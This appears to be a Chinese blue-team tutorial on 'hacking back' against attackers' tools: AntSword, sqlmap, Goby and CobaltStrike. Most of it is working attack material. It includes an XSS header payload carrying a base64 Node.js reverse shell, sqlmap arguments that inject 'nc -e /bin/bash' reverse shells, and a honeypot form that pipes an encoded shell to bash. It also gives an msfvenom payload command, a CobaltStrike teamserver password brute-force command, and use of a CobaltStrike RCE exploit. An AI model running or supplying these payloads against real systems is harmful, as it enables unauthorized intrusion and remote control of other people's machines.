目录
案例一:溯源反制-Webshell工具-Antsword
案例二:溯源反制-SQL注入工具-SQLMAP
案例三:溯源反制-漏洞扫描工具-Goby
案例四:溯源反制-远程控制工具-CobaltStrike
反制Server,爆破密码(通用)
CVE-2022-39197
案例一:溯源反制-Webshell工具-Antsword
参考文章:溯源(七)之利用AntSword RCE进行溯源反制黑客 - 私ははいしゃ敗者です - 博客园
有版本限制,这里我时蚁剑v2.0.7
攻击段上传php一句话木马建立连接
防守方目录中已经上传
把对方的上传的文件改成下面的
<?php header('HTTP/1.1 500 <img src=# οnerrοr=alert(1)>');?>
蚁剑再次连接的时候会弹出1
可以看出来蚁剑可以执行javascript代码,因为不在浏览器上所以应该可以执行node.js代码
Node.js是一个基于Google Chrome V8 JavaScript引擎的开源JavaScript运行时环境。它使得JavaScript能够在服务器端运行
node.js通过socket反弹shell
var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(1111, "192.168.232.131", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
把ip修改为自己的ip和端口,并进行base64编码
利用xss漏洞触发执行,把编码进行拼接
<?php
header("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMTExLCAiMTkyLjE2OC4yMzIuMTMxIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTtzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==`,`base64`).toString())'>");
?>
防守方修改
这里我新开了一台kali进行监听
当攻击者再次访问的时候反弹shell
利用msf生成node.js木马,后续步骤与之前一致
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.0.105 LPORT=10086 -f raw -o payload.js
案例二:溯源反制-SQL注入工具-SQLMAP
linux系统在运行命令时,在后面有参数的时候会先去看参数是什么,然后再执行,当加上
"`{命令}`" 的时候命令就会被执行
根据这个特性,在sqlmap执行命令加上参数
sqlmap -u "http://192.168.232.128/1.php?id=aaa&b=`ls`"
利用nc反弹shell
sqlmap -u "http://192.168.232.128/1.php?id=aaa&b=`nc -e /bin/bash 192.168.232.128 2222`"
创建钓鱼页面,把echo后面的代码变成反弹自己页面的base64代码
<html>
<head>
<meta charset="utf-8">
<title> A sqlmap honeypot demo</title>
</head>
<body>
<input>search the user</input> <!--创建一个空白表单-->
<form action="username.html" method="post" enctype="text/plain">
<!--创建一个隐藏的表单-->
<input type='hidden' name='name' value="VertiFy&id=45273434&query=shell`echo bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIzMi4xMjggMjIyMg== | base64 -d|bash -i`&port=6379"/>
<!--创建一个按钮,提交表单内容-->
<input type="submit" value='提交'>
</form>
</body>
</html>
利用漏洞扫描工具扫描的时候就会扫描到post类型的sql注入,最好配合正式系统,留个陷阱
访问然后抓包,发现为post
利用sqlmap进行注入的时候
成功反制
但是问题就是感觉有经验的一眼就能看出来,就能骗骗菜鸟,而且还需要优化,不能让他卡在那里
案例三:溯源反制-漏洞扫描工具-Goby
参考文章:蓝队反制之--Goby反制 - 小阿辉谈安全 - 博客园
扫描完发现能扫描出来,但是复现不出来
案例四:溯源反制-远程控制工具-CobaltStrike
反制Server,爆破密码(通用)
项目地址: https://github.com/ryanohoro/csbruter
命令,这里默认他是50050端口,一般需要去爆破出来cs开放端口是多少,并且确定了cs地址,如果他没有做过c2
python3 csbruter.py [-h] [-p PORT] [-t THREADS] host [wordlist]
python csbruter.py 192.168.232.131 pass.txt
能否爆破出来取决于密码字典
可以直接根据目标ip以及密码连接到对方的cs,获取对方的成功!
CVE-2022-39197
cs <= 4.7
项目地址:GitHub - its-arun/CVE-2022-39197: CobaltStrike <= 4.7.1 RCE
配置项目
生成完成以后
复制到serve目录下
在该目录下搭建简易网站
需要修改文件
执行命令
python cve-2022-39197.py beacon.exe http://python简易网站:8000/evil.svg
同时cs会上线
如果在这个中间看了进程会触发rce,会弹出计算器
可惜没复现成功,后续就是把计算机命令改成反弹shell的命令